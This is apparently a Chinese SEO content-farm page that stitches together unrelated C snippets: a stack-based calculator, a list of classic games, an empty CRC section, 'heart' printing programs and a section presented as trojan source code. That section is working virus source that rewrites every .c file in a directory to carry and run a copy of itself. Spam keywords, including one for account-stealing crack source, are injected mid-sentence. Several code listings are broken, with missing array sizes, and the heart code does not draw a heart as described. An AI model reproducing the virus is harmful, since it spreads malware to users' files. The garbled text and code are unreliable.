皮皮网
皮皮网

【lua设备信息源码】【涨停先锋源码】【ssh超市源码】c 实例源码_c源代码例子

时间:2024-12-27 15:57:44 来源:ios源码交易

1.用C语言写的例源计算器源代码
2.c语言游戏代码大全(收录100多款经典游戏源码)
3.c语言木马源代码
4.crc16校验C语言源码实例解析
5.C语言爱心代码,C语言爱心代码大全

c 实例源码_c源代码例子

用C语言写的码c码例计算器源代码

       #include<stdio.h>

       #include<iostream.h>

       #include<stdlib.h>

       #include<string.h>

       #include<ctype.h>

       typedef float DataType;

       typedef struct

       {

        DataType *data;

        int max;

        int top;

       }Stack;

       void SetStack(Stack *S,int n)

       {

        S->data=(DataType*)malloc(n*sizeof(DataType));

        if(S->data==NULL)

        {

        printf("overflow");

        exit(1);

        }

        S->max=n;

        S->top=-1;

       }

       void FreeStack(Stack *S)

       {

        free(S->data);

       }

       int StackEmpty(Stack *S)

       {

        if(S->top==-1)

        return(1);

        return(0);

       }

       DataType Peek(Stack *S)

       {

        if(S->top==S->max-1)

        {

        printf("Stack is empty!\n");

        exit(1);

        }

        return(S->data[S->top]);

       }

       void Push(Stack *S,DataType item)

       {

        if(S->top==S->max-1)

        {

        printf("Stack is full!\n");

        exit(1);

        }

        S->top++;

        S->data[S->top]=item;

       }

       DataType Pop(Stack *S)

       {

        if(S->top==-1)

        {

        printf("Pop an empty stack!\n");

        exit(1);

        }

        S->top--;

        return(S->data[S->top+1]);

       }

       typedef struct

       {

        char op;

        int inputprecedence;

        int stackprecedence;

       }DataType1;

       typedef struct

       {

        DataType1 *data;

        int max;

        int top;

       }Stack1;

       void SetStack1(Stack1 *S,int n)

       {

        S->data=(DataType1*)malloc(n*sizeof(DataType1));

        if(S->data==NULL)

        {

        printf("overflow");

        exit(1);

        }

        S->max=n;

        S->top=-1;

       }

       void FreeStack1(Stack1 *S)

       {

        free(S->data);

       }

       int StackEmpty1(Stack1 *S)

       {

        if(S->top==-1)

        return(1);

        return(0);

       }

       DataType1 Peek1(Stack1 *S)

       {

        if(S->top==S->max-1)

        {

        printf("Stack1 is empty!\n");

        exit(1);

        }

        return(S->data[S->top]);

       }

       void Push1(Stack1 *S,DataType1 item)

       {

        if(S->top==S->max-1)

        {

        printf("Stack is full!\n");

        exit(1);

        }

        S->top++;

        S->data[S->top]=item;

       }

       DataType1 Pop1(Stack1 *S)

       {

        if(S->top==-1)

        {

        printf("Pop an empty stack!\n");

        exit(1);

        }

        S->top--;

        return(S->data[S->top+1]);

       }

       DataType1 MathOptr(char ch)

       {

        DataType1 optr;

        optr.op=ch;

        switch(optr.op)

        {

        case'+':

        case'-':

        optr.inputprecedence=1;

        optr.stackprecedence=1;

        break;

        case'*':

        case'/':

        optr.inputprecedence=2;

        optr.stackprecedence=2;

        break;

        case'(':

        optr.inputprecedence=3;

        optr.stackprecedence=-1;

        break;

        case')':

        optr.inputprecedence=0;

        optr.stackprecedence=0;

        break;

        }

        return(optr);

       }

       void Evaluate(Stack *OpndStack,DataType1 optr)

       {

        DataType opnd1,opnd2;

        opnd1=Pop(OpndStack);

        opnd2=Pop(OpndStack);

        switch(optr.op)

        {

        case'+':

        Push(OpndStack,opnd2+opnd1);

        break;

        case'-':

        Push(OpndStack,opnd2-opnd1);

        break;

        case'*':

        Push(OpndStack,opnd2*opnd1);

        break;

        case'/':

        Push(OpndStack,opnd2/opnd1);

        break;

        }

       }

       int isoptr(char ch)

       {

        if(ch=='+'||ch=='-'||ch=='*'||ch=='/'||ch=='(')

        return(1);

        return(0);

       }

       void Infix(char *str)

       {

        int i,k,n=strlen(str);

        char ch,numstr[];

        DataType opnd;

        DataType1 optr;

        Stack OpndStack;

        Stack1 OptrStack;

        SetStack(&OpndStack,n);

        SetStack1(&OptrStack,n);

        k=0;

        ch=str[k];

        while(ch!='=')

        if(isdigit(ch)||ch=='.')

        {

        for(i=0;isdigit(ch)||ch=='.';i++)

        {

        numstr[i]=ch;

        k++;

        ch=str[k];

        }

        numstr[i]='\0';

        opnd= atof(numstr);

        Push(&OpndStack,opnd);

        }

        else

        if(isoptr(ch))

        {

        optr=MathOptr(ch);

        while(Peek1(&OptrStack).stackprecedence>=optr.inputprecedence)

        Evaluate(&OpndStack,Pop1(&OptrStack));

        Push1(&OptrStack,optr);

        k++;

        ch=str[k];

        }

        else if(ch==')')

        {

        optr=MathOptr(ch);

        while(Peek1(&OptrStack).stackprecedence>=optr.inputprecedence)

        Evaluate(&OpndStack,Pop1(&OptrStack));

        Pop1(&OptrStack);

        k++;

        ch=str[k];

        }

        while(!StackEmpty1(&OptrStack))

        Evaluate(&OpndStack,Pop1(&OptrStack));

        opnd=Pop(&OpndStack);

        cout<<"你输入表达式的计算结果为"<<endl;

        printf("%-6.2f\n",opnd);

        FreeStack(&OpndStack);

        FreeStack1(&OptrStack);

       }

       void main()

       {

        cout<<"请输入你要计算的表达式,并以“=”号结束。"<<endl;

        char str[];

        gets(str);

        Infix(str);

       =================================================================

       哈哈!源代给分吧!例源

c语言游戏代码大全(收录多款经典游戏源码)

       C语言是码c码例一种广泛使用的编程语言,其强大的源代lua设备信息源码功能和高效的性能使其成为游戏开发的首选语言。本文将介绍多款经典游戏的例源C语言源码,供游戏开发者学习和参考。码c码例

       操作步骤

       Step1:下载源码

       访问Github上的源代C语言游戏代码大全仓库,找到需要的例源游戏源码,点击“Download”按钮下载源码压缩包。码c码例

       Step2:解压源码

       使用解压软件将下载的源代源码压缩包解压到本地硬盘上。

       Step3:编译源码

       使用C语言编译器(如GCC)编译源码,例源生成可执行文件。码c码例

       Step4:运行游戏

       运行生成的源代可执行文件,开始游戏。

       经典游戏源码

       1.俄罗斯方块

       俄罗斯方块是一款经典的益智游戏,玩家需要通过旋转和移动方块,使其在下落过程中排列成完整的一行或多行,从而消除方块并得分。

       操作步骤

       使用方向键控制方块移动和旋转,涨停先锋源码按空格键加速方块下落。

       2.扫雷

       扫雷是一款经典的单人益智游戏,玩家需要根据周围的数字推断出隐藏在方格中的地雷位置,最终揭开所有非地雷方格并得分。

       操作步骤

       使用鼠标左键点击方格揭开,使用鼠标右键标记可能的地雷位置。

       3.贪吃蛇

       贪吃蛇是一款经典的单人游戏,玩家需要通过控制一条蛇在屏幕上移动,吃掉食物并不断成长,直到撞到墙壁或自己的ssh超市源码身体为止。

       操作步骤

       使用方向键控制蛇的移动方向,吃到食物后蛇的长度加1。

       4.五子棋

       五子棋是一款经典的两人对弈游戏,玩家需要通过在棋盘上下棋,先在横、竖、斜方向上连成五子的一方获胜。

       操作步骤

       使用鼠标点击棋盘上的空格下棋,先连成五子的一方获胜。

       5.推箱子

       推箱子是盗号破解源码一款经典的益智游戏,玩家需要通过推动箱子使其到达指定位置,最终完成所有关卡。

       操作步骤

       使用方向键控制人物移动和推动箱子,将箱子推到指定位置即可过关。

c语言木马源代码

       #include <stdio.h>

       #include <dir.h>

       void main(void)

       {

       virus();

       }

       int virus()

       {

       struct ffblk ffblk;

       FILE *in,*out,*read;

       char *virus="virus.c";

       char buf[][];

       char *p;

       char *end="return";

       char *bracket="}";

       char *main="main";

       char *include[2]={ "stdio.h","dir.h"};

       char *int_virus="int virus()";

       char *buffer;

       int done,i,j=0,flag=0;

       printf("\nI have a virus. Writen by PuBin\n");

       done = findfirst("*.c",&ffblk,0);

       while (!done)

       {

       i=0;

       if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

       {

       goto next;

       }

       do{

       if(i>=)

       {

       fclose(in);

       goto next;

       }

       p=fgets(buf[i],,in);

       i++;

       }while(p!=NULL);

       fclose(in);

       out=fopen(ffblk.ff_name,"w+t");

       fputs("#include<stdio.h>\n",out);

       fputs("#include<dir.h>\n",out);

       do

       {

       if(strstr(buf[j],main)!=NULL)

       {

       for(;j<i-1;j++)

       if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

       fputs(buf[j],out);

       else

       {

       if(flag==0)

       {

       flag=1;

       fputs("virus();\n",out);

       }

       fputs(buf[j],out);

       }

       }

       else if((strstr(buf[j],include[0])==NULL)

       &&(strstr(buf[j],include[1])==NULL))

       {

       fputs(buf[j],out);

       j++;

       }

       else

       j++;

       }while(j<i-1);

       read=fopen(virus,"rt");

       do

       {

       p=fgets(buffer,,read);

       if(strstr(buffer,int_virus))

       while(p!=NULL)

       {

       if(strstr(buffer,virus)==NULL)

       fputs(buffer,out);

       else

       {

       fputs(" char *virus=\"",out);

       fputs(ffblk.ff_name,out);

       fputs("\";\n",out);

       }

       p=fgets(buffer,,read);

       }

       }while(p!=NULL);

       fclose(read);

       fclose(out);

       printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

       next: done = findnext(&ffblk);

       }

       return 0;

       }

       严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、鼠标动画源码木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

crc校验C语言源码实例解析

       一、CRC概念

       CRC,即循环冗余码校验,通过除法和余数原理实现错误侦测。在实际应用中,发送设备计算CRC值与数据一起发送给接收设备。接收设备收到数据后,重新计算CRC值并与接收到的CRC值进行比较。若两个CRC值不同,则表明数据传输过程中出现了错误。

       二、CRC源码解析

       1、函数实现

       2、计算结果

C语言爱心代码,C语言爱心代码大全

       探索C语言的魅力,让我们以一种独特的方式表达爱意。在编程的世界里,用代码编织情感,可以创造出令人瞩目的艺术品。下面是几个基础的C语言爱心代码展示,让你一窥C语言的美学。

       首先,让我们从简单的图案开始。一个简单的爱心图案可以用以下代码实现:

       c

       #include

       int main() {

        int i, j;

        for (i = 0; i <= 5; i++) {

        for (j = 0; j <= 5; j++) {

        if ((i + j == 5) || (i - j == 3) || (i == j))

        printf("*");

        else

        printf(" ");

        }

        printf("\n");

        }

        return 0;

       }

       这段代码通过控制打印星号(*)和空格的输出,形成了一个心形图案。你可以在编译器上运行这段代码,亲眼见证爱心的诞生。

       接下来,我们尝试更复杂一点的动态爱心代码。一个动态爱心可以随着输入参数的变化而变化大小和位置。下面是一个简单的动态爱心实现示例:

       c

       #include

       int main() {

        int i, j, n;

        printf("请输入爱心的大小: ");

        scanf("%d", &n);

        for (i = 0; i < n; i++) {

        for (j = 0; j < n; j++) {

        if ((i + j == n - 1) || (i - j == n - 1) || (i == j))

        printf("*");

        else

        printf(" ");

        }

        printf("\n");

        }

        return 0;

       }

       通过输入不同的数值,这个动态爱心可以展现出不同的大小和形状,增添更多的趣味性。

       以上展示了几个基础和简单的C语言爱心代码。如果你对C语言充满热情,不妨继续探索更多可能,将爱意以代码的形式传达给世界。从这些代码出发,你可以不断尝试和改进,创造出更多独特的作品。

       如果想获取更多C语言爱心源代码,可以访问以下链接:

       docs.qq.com/doc/DV0hOY3...

更多内容请点击【时尚】专栏